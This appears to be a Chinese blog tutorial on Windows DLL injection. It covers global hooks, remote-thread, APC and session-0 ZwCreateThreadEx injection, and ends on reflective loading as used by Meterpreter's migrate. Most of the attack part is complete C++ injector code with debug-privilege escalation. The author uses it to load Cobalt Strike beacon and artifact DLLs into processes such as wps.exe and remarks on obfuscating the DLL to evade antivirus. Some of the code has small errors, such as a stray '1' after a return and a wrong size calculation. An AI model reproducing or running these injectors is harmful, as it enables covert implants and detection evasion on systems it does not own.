实现原理
是通过注入 dll(动态链接库)向一个正在运行的进程插入/注入代码的过程,当然除了 dll 也可以是其他形式(任何PE文件、shellcode / assembly等),dll 注入操作有其合法目的,像杀软动态检测进程的行为,就是通过 dll 注入实现的。
注入流程 :

1.附加到目标进程
2.在目标进程内分配内存
3.将 dll 路径或 dll 复制到目标内存中
4.让进程执行 dll
 
全局钩子注入
windows 中的钩子就是一种拦截实践并采取行动的方式,钩子的实现原理是基于 windows 的消息机制,程序根据不同消息完成不同功能,而钩子就可以截获和监视系统中的这些消息,最常见钩子的就是 WH_KEYBOARD 和 WH_MOUSE,分别用来监控键盘和鼠标输入。
局部钩子通常用于某个线程,而全局钩子通过 dll 文件实现。
利用 SetWindowsHookEx 函数实现(将应用程序定义的钩子装到钩子链中)
HHOOK WINAPI SetWindowsHookEx(
  _In_ int       idHook,    // 钩子类型
  _In_ HOOKPROC  lpfn,      // 回调函数地址
  _In_ HINSTANCE hMod,      // 实例句柄
  _In_ DWORD     dwThreadId // 线程 ID
);
执行成功则返回钩子的句柄,如果失败返回 NULL。
当 SetWindowsHookEx 函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的 dl l文件强行注入到这个进程中并将该 dl l的锁计数器递增 1。然后再调用安装的钩子函数。
实现的全局钩子可以用 WH_GETMESSAGE 消息,因为 WH_GETMESSAGE 类型的钩子会监视消息队列,windows 中的每个进程都会维护自己的消息队列(消息驱动的实现),那么就都会加载 WH_GETMESSAGE 类型的全局钩子DLL。
被注入的 dll 的实现,首先是设置全局钩子
BOOL SetHook()
{
    g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
    // GetMsgProc 是回调函数,在后续实现
    if (g_Hook == NULL)
    {
        return FALSE;
    }
    return TRUE;
}
GetMsgProc 中要用 CallNextHookEx 函数决定继续执行下一个钩子(第一个参数为钩子句柄)还是对当前钩子进行拦截(第一个参数为 0)
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
    return ::CallNextHookEx(g_Hook, code, wParam, lParam);
}
然后还要设置取消钩子
BOOL UnsetHook()
{
    if (g_Hook)
    {
        ::UnhookWindowsHookEx(g_Hook);
    }
}
此外还要设置进程间通信,这里是通过共享内存实现的
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
 用 vs 新建一个 dll 项目,首先是 pch.h 文件,声明定义的都是裸函数,由我们自己平衡堆栈
extern "C" _declspec(dllexport) int SetHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetHook();
在 pch.cpp 中写入上面提到的函数,然后在 dllmain.cpp 中设置 DLL_PROCESS_ATTACH。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: 
    {
        g_hDllModule = hModule;
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
再创建一个用于被注入的进程,用 LoadLibraryW 加载 dll
// GolbalInjectDLL.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
int main()
{
    typedef BOOL(*typedef_SetGlobalHook)();
    typedef BOOL(*typedef_UnsetGlobalHook)();
    HMODULE hDll = NULL;
    typedef_SetGlobalHook SetGlobalHook = NULL;
    typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
    BOOL bRet = FALSE;
    do
    {
        hDll = ::LoadLibraryW(TEXT("F:\\vs_project\\DLLInjector\\DLLInjector\\Debug\\DLLInjector.dll"));
        if (NULL == hDll)
        {
            printf("LoadLibrary Error[%d]\n", ::GetLastError());
            break;
        }
        SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
        if (NULL == SetGlobalHook)
        {
            printf("GetProcAddress Error[%d]\n", ::GetLastError());
            break;
        }
        bRet = SetGlobalHook();
        if (bRet)
        {
            printf("SetGlobalHook OK.\n");
        }
        else
        {
            printf("SetGlobalHook ERROR.\n");
        }
        system("pause");
        UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
        if (NULL == UnsetGlobalHook)
        {
            printf("GetProcAddress Error[%d]\n", ::GetLastError());
            break;
        }
        UnsetGlobalHook();
        printf("UnsetGlobalHook OK.\n");
    } while (FALSE);
    system("pause");
    return 0;
}
在 GolbalInjectDLL 进程中看到了注入的 DLLInject.dll

注意,32位的 dll 不能被注入到 64 位的进程中,同样,64 位的 dll 也不饿能被注入到 32 位进程中。
这种方式的优点是注入简单,缺点就是只能针对 windows 消息进程 Hook 并注入 dll,而注入可能不是瞬发(基于注入时选择的消息类型),而且不能进行其他 api 的 Hook,如果想对其它的函数进行 Hook,你需要再在被注入的dll中添加用于 API Hook 的代码。 
远程线程注入
测试用的 dll 文件
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
    case DLL_THREAD_ATTACH:
        MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
首先要得到与之进行交互的进程的句柄,可以通过 CreateToolhelp32Snapshot 拍摄进程快照获取 pid,再通过 Openprocess 连接到目标进程。
// 通过进程快照获取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
      DWORD Ret = 0;
      PROCESSENTRY32 p32;
      HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if (lpSnapshot == INVALID_HANDLE_VALUE)
      {
          printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
          return Ret;
      }
      p32.dwSize = sizeof(PROCESSENTRY32);
      ::Process32First(lpSnapshot, &p32);
      do {
          if (!lstrcmp(p32.szExeFile, lpProcessName))
          {
              Ret = p32.th32ProcessID;
              break;
          }
      } while (::Process32Next(lpSnapshot, &p32));
      ::CloseHandle(lpSnapshot);
      return Ret;
}
用 OpenProcess 打开进程,
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
其中 OpenProcess 的定义,第一个参数是设置访问权限,可参考 https://docs.microsoft.com/zh-cn/windows/win32/procthread/process-security-and-access-rights?redirectedfrom=MSDN:
HANDLE WINAPI OpenProcess(
  _In_ DWORD dwDesiredAccess,
  _In_ BOOL  bInheritHandle,
  _In_ DWORD dwProcessId    // pid
);
连接之后需要给 dll 路径分配内存,VirtualAllocEx 函数可以实现预留、提交或更改指定进程的虚拟地址空间内的内存区域的状态。该函数将其分配的内存初始化为零。(也可以通过 GetFullPathName 实现)
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
函数定义:
LPVOID WINAPI VirtualAllocEx(
  _In_     HANDLE hProcess,     // 申请内存所在的进程句柄
  _In_opt_ LPVOID lpAddress,    // 保留页面的内存地址,一般设置为 NULL 自动分配
  _In_     SIZE_T dwSize,       // 要分配的内存大小
  _In_     DWORD  flAllocationType, // 分配方式
  _In_     DWORD  flProtect     // 设置权限
);
然后调用 WriteProcessMemory  函数把 dll 写入内存
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
其中 WriteProcessMemory 的定义
BOOL WriteProcessMemory(
  HANDLE  hProcess,         //进程句柄
  LPVOID  lpBaseAddress,    //写入的内存首地址
  LPCVOID lpBuffer,         //要写数据的指针
  SIZE_T  nSize,            //x
  SIZE_T  *lpNumberOfBytesWritten
);
之后就是创建线程并等待执行结束,可以通过 CreateRemoteThread 实现,等待线程函数结束则通过 WaitForSingleObject(第二个参数设为 -1 一直等待)
//在另一个进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
//等待线程函数结束,获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
完整的实现:
// RemoteThreadInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include "tchar.h"
char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";
//通过进程快照获取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
      DWORD Ret = 0;
      PROCESSENTRY32 p32;
      HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if (lpSnapshot == INVALID_HANDLE_VALUE)
      {
          printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
          return Ret;
      }
      p32.dwSize = sizeof(PROCESSENTRY32);
      ::Process32First(lpSnapshot, &p32);
      do {
          if (!lstrcmp(p32.szExeFile, lpProcessName))
          {
              Ret = p32.th32ProcessID;
              break;
          }
      } while (::Process32Next(lpSnapshot, &p32));
      ::CloseHandle(lpSnapshot);
      return Ret;
}
 //打开一个进程并为其创建一个线程
DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
{
         //打开进程
         HANDLE hprocess;
         HANDLE hThread;
         DWORD _Size = 0;
         BOOL Write = 0;
         LPVOID pAllocMemory = NULL;
         DWORD DllAddr = 0;
         FARPROC pThread;
         hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
         //Size = sizeof(string_inject);
         _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
         //远程申请空间
         pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
         if (pAllocMemory == NULL)
             {
                 printf("VirtualAllocEx - Error!");
                 return FALSE;
             }
         // 写入内存
         Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
         if (Write == FALSE)
             {
                 printf("WriteProcessMemory - Error!");
                 return FALSE;
             }
         //获取LoadLibrary的地址
         pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
         LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
         //在另一个进程中创建线程
         hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
         if (hThread == NULL)
             {
                 printf("CreateRemoteThread - Error!");
                 return FALSE;1
             }
         //等待线程函数结束,获得退出码
         WaitForSingleObject(hThread, -1);
         GetExitCodeThread(hThread, &DllAddr);
         //释放DLL空间
         VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
         //关闭线程句柄
         ::CloseHandle(hprocess);
         return TRUE;
}
 int main()
{
     DWORD PID = _GetProcessPID(L"test.exe");
     _RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
}

远程线程注入的实现除了使用 CreateRemoteThread 函数实现,还可以用 NtCreateThreadEx / RtlCreateUserThread 实现,NtCreateThreadEx 详情参阅 https://securityxploded.com/ntcreatethreadex.php,而 RtlCreateUserThread 则可以看作对 NtCreateThreadEx 的封装,在 mimikatz 和 meterpreter 中都使用了这个 api。 
APC 注入
Asynchronous Procedure Call,即异步过程调用。当往线程的 APC 队列添加 APC 的时候,系统会产生一个软中断,在线程下一次被调度的时候,就会执行 APC 函数。
实现流程:
1.当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleObjectEx() 时,系统就会产生一个软中断(或者是 Messagebox 弹窗的时候不点 OK 的时候也能注入)
2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数
3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
限制条件:
1.必须是多线程环境
2.注入的程序会调用那些同步的对象
有这两个限制的原因也很简单,APC 队列中函数的调用需要一个线程从挂起状态到可通知状态才会执行,所以需要 SleepEx 这类函数先实现线程的挂起,但单线程程序一般不存在挂起状态,所以 APC 注入对单线程程序就没有明显的效果。
其实。本质上还是远程线程注入,但是不需要创建新的线程,而是直接劫持目标进程中的现有线程。也就是说,调用此函数将在指定的线程上对异步过程调用进行排队。
实现的时候,首先要根据进程名获取 pid 函数,然后再根据这个 pid 获取所有线程的 id
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
while (bRet)
    {
        if (th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }
APCInject 的注入过程同样也遵循前面线程注入的流程,不同的操作就是需要遍历线程并插入 APC,如果 QueueUserAPC 返回的值为 NULL 则线程遍历失败,fail 的值就 +1
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打开线程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
        }
    }
完整实现:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
    char szError[MAX_PATH] = { 0 };
    ::wsprintfA(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBoxA(NULL, szError, "ERROR", MB_OK);
}
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    // 申请空间
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        return FALSE;
    }
    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    THREADENTRY32 th32 = { 0 };
    // 拍摄快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    // 结构的大小
    th32.dwSize = sizeof(THREADENTRY32);
    //遍历所有THREADENTRY32结构, 按顺序填入数组
    BOOL bRet = Thread32First(hThreadSnap, &th32);
    while (bRet)
    {
        if (th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }
    *pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;
    return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
    // 申请内存
    PVOID lpAddr = NULL;
    SIZE_T page_size = 4096;
    lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpAddr == NULL)
    {
        ShowError("VirtualAllocEx - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }
    // 把Dll的路径复制到内存中
    if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
    {
        ShowError("WriteProcessMemory - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }
    // 获得LoadLibraryA的地址
    PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    // 遍历线程, 插入APC
    float fail = 0;
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打开线程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
            // 关闭线程句柄
            ::CloseHandle(hThread);
            hThread = NULL;
        }
    }
    printf("Total Thread: %d\n", dwThreadIdListLength);
    printf("Total Failed: %d\n", (int)fail);
    if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
    {
        printf("Success to Inject APC\n");
        return TRUE;
    }
    else
    {
        printf("Inject may be failed\n");
        return FALSE;
    }
}
int main()
{
    ULONG32 ulProcessID = 0;
    printf("Input the Process ID:");
    cin >> ulProcessID;
    CHAR wzDllFullPath[MAX_PATH] = { 0 };
    LPDWORD pThreadIdList = NULL;
    DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
    strcpy_s(wzDllFullPath, "D:\\tmp\\beacon.dll");
#else // _WIN64
    strcpy_s(wzDllFullPath, "D:\\tmp\\beacon.dll");
#endif
    if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
    {
        printf("Can not list the threads\n");
        exit(0);
    }
    //打开句柄
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
    if (hProcess == NULL)
    {
        printf("Failed to open Process\n");
        return FALSE;
    }
    //注入
    if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
    {
        printf("Failed to inject DLL\n");
        return FALSE;
    }
    return 0;
}
 
突破 session 0 的远程线程注入
利用了 ZwCreateThreadEx 这个函数,ZwCreateThreadEx 是 CreateRemoteThread 的底层实现。在 windows 内核 6.0 (win7,8 之后)引入了会话隔离机制,创建一个进程之后不会立即运行,而是先挂起进程,再查看要运行进程所在的会话层再决定是否恢复进程运行。
再 windows XP,windows server 2003 包括之前的版本中,服务和应用程序使用相同的会话(session)运行,这个 session 由第一个登录到控制台的用户启动,也就是 session 0。把服务和用户程序都放在 session 0 中运行存在安全风险,因为服务的权限通常会高于用户权限,这样的话如果用户劫持了某个服务,就可以提权。
从 Windows Vista 开始,只有服务可以托管到 session 0 中,而用户程序则会创建在用户对应的 session 中。

需要用到的 api:
ZwCreateThreadEx(32 位)
DWORD WINAPI ZwCreateThreadEx(
         PHANDLE ThreadHandle,
         ACCESS_MASK DesiredAccess,
         LPVOID ObjectAttributes,
         HANDLE ProcessHandle,
         LPTHREAD_START_ROUTINE lpStartAddress,
         LPVOID lpParameter,
         BOOL CreateSuspended,
         DWORD dwStackSize,
         DWORD dw1,
         DWORD dw2,
         LPVOID pUnkown);
ZwCreateThreadEx(64 位)
DWORD WINAPI ZwCreateThreadEx(
         PHANDLE ThreadHandle,
         ACCESS_MASK DesiredAccess,
         LPVOID ObjectAttributes,
         HANDLE ProcessHandle,
         LPTHREAD_START_ROUTINE lpStartAddress,
         LPVOID lpParameter,
         ULONG CreateThreadFlags,
         SIZE_T ZeroBits,
         SIZE_T StackSize,
         SIZE_T MaximumStackSize,
         LPVOID pUnkown);
进入 session 0 还需要用到几个提权的函数
OpenProcessToken
BOOL OpenProcessToken(
__in HANDLE ProcessHandle, //要修改访问权限的进程句柄
__in DWORD DesiredAccess, //指定你要进行的操作类型
__out PHANDLE TokenHandle //返回的访问令牌指针
);
LookupPrivilegeValueA
BOOL LookupPrivilegeValueA(
  LPCSTR lpSystemName, //要查看的系统,本地系统直接用NULL
  LPCSTR lpName,    //指向一个以零结尾的字符串,指定特权的名称
  PLUID  lpLuid     //用来接收所返回的制定特权名称的信息
);
AdjustTokenPrivileges
BOOL AdjustTokenPrivileges(
    HANDLE TokenHandle, //包含特权的句柄
    BOOL DisableAllPrivileges,//禁用所有权限标志
    PTOKEN_PRIVILEGES NewState,//新特权信息的指针(结构体)
    DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)
    PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer
    PDWORD ReturnLength //接收PreviousState缓存区要求的大小
);
实现过程:
这次是要注入系统权限的 exe,需要用到 debug 权限,首先要提权:
// 提权函数
BOOL EnableDebugPrivilege()
{
    HANDLE hToken;
    BOOL fOk = FALSE;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fOk;
}
之前获得回显都是用 MessageBox 弹一个窗口,但系统程序不能现实程序的窗体,这里用一个 ShowError 获取错误码。
void ShowError(const char* pszText)
{
    char szError[MAX_PATH] = { 0 };
    ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szError, "ERROR", MB_OK);
}
然后和远程线程注入的流程相同,获取句柄,申请内存,写入内存,获取函数地址,创建远程线程。不同的是 ZwCreateThreadEx 在 ntdll.dll 中没有声明,所以需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
完整代码:
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);
#endif
void ShowError(const char* pszText)
{
    char szError[MAX_PATH] = { 0 };
    ::wsprintfA(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBoxA(NULL, szError, "ERROR", MB_OK);
}
// 提权函数
BOOL EnableDebugPrivilege()
{
    HANDLE hToken;
    BOOL fok = FALSE;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fok = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fok;
}
// 使用 zwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;
    EnableDebugPrivilege();
    // 打开注入进程,获取进程句柄
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (hProcess == NULL)
    {
        printf("OpenProcess - Error!\n\n");
        return -1;
    }
    
    // 在注入的进程中申请内存
    dwSize = ::lstrlenA(pszDllFileName) + 1;
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        ShowError("VirtualAllocEx - Error!\n\n");
        return FALSE;
    }
    // 写入内存地址
    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory - Error!\n\n");
        return FALSE;
    }
    // 加载 dll
    HMODULE hNtdllDll = ::LoadLibraryA("ntdll.dll");
    if (NULL == hNtdllDll)
    {
        ShowError("LoadLirbary");
        return FALSE;
    }
    // 获取 LoadLibraryA 函数地址
    pFuncProcAddr = ::GetProcAddress(::GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
        return FALSE;
    }
    // 获取 ZwCreateThreadEx 函数地址
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
        return FALSE;
    }
    // 使用 ZwCreateThreadEx 创建远程线程,实现 dll 注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == ZwCreateThreadEx)
    {
        ShowError("ZwCreateThreadEx - Error!\n\n");
        return FALSE;
    }
    
    // 关闭句柄
    ::CloseHandle(hProcess);
    ::FreeLibrary(hNtdllDll);
    return TRUE;
}
int main(int argc, char* argv[])
{
    // dll 换成 cs 的 dll,pid 换成被注入进程的 pid
#ifdef _WIN64
    BOOL bRet = ZwCreateThreadExInjectDll(58808, "D:\\tmp\\artifact.dll");
#else 
    BOOL bRet = ZwCreateThreadExInjectDll(58808, "D:\\tmp\\artifact.dll");
#endif
    if (FALSE == bRet)
    {
        printf("Inject Dll Error!\n\n");
    }
    printf("Inject Dll OK!\n\n");
    return 0;
}
这里选择注入 wps.exe 进程,dll 用 cs 生成,运行程序直接上线(联想电脑管家报了,后续可以考虑对这个 dll 做混淆)
tasklist /svc | findstr "wps.exe"

 
反射 dll 注入
常规 dll 注入的一个缺陷就是需要恶意 dll 以文件的形式存储到受害主机上,会留下痕迹,容易被检测到,而反射 dll 注入可以是恶意的 dll 通过 socket 等方式传输到目标进程,无文件落地。
反射 dll 注入的流程和普通的远程线程注入流程相似,不同之处在于加载 dll 方式,是通过自己实现的一个 reflective loader() 函数来代替 LoadLibraryA() 去加载 dll,Reflective loader 实现思路如下:
1.获得被注入进程未解析的 dll 的基地址
2.获得必要的 dll 句柄和函数为修复导入表做准备
3.分配一块新内存去解析 dll,并把 PE 头复制和各节到新内存中
4.修复导入表和重定向表
5.执行 dllmain() 函数
图中红框中的行为:

meterpreter 连上之后可以用 migrate 命令迁移进程,实现的原理就是反射型 dll 注入,migrate 模块的 reflective loader 直接服用了 https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c 中的 ReflectiveLoader() 函数。
关于 migrate 的实现,前半部分就是之前文章中写过的 msf ?的实现过程,在 msf?收到 migrate 和 payload 之后,首先向被迁移的目标进程分配一块内存,并会创建远程执行 migrate stub,如果失败了,就会尝试用 apc 注入的方式执行 migrate stub,migrate stub 会调用 meterpreter loader,meterpreter loader 调用 reflective loader 进行反射式 dll 注入。

静态分析:
(PE 文件结构不是很熟,只是勉强能看懂,这里基本都是引用参考文献)
- Step 0: 计算基地址
首先调用 caller 函数,这个函数是对 _ReturnAddress() 的封装。在这里是为了获取 caller 函数的下一条指令的地址
uiLibraryAddress = caller();
// 跟进查看
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
然后向低地址逐字节查看是否有 dos头 的 MZ 字符串标识,若找到则把当前的地址认为是 dos 头结构体的开头,并校验 dos 头 e_lfanew 的成员是否指向 PE 头的标识字段(PE),如果两个校验都通过,则任务当前地址是 dos 头结构体的开头。
 while( TRUE )
    {
        // 将当前地址看作 dos 结构体的起始地址,看一下结构体的 e_magic 字段是否指向 MZ
        if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
        {
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
            {
                uiHeaderValue += uiLibraryAddress;
                // 同样的道理,判断 uiHeaderValue 的 Signature 是否指向 PE 
                if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
                    break;
            }
        }
        uiLibraryAddress--;
    }
 
- Step 1: 导出 loader 需要的 dll 句柄和函数地址
首先是 dll 句柄,通过遍历 PEB 结构体中的 pLdr 中的 InMemoryOrderModuleList 链表获取 dll 名称,计算 hash 并进行对比
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
        // 获得一个指向当前句柄的指针
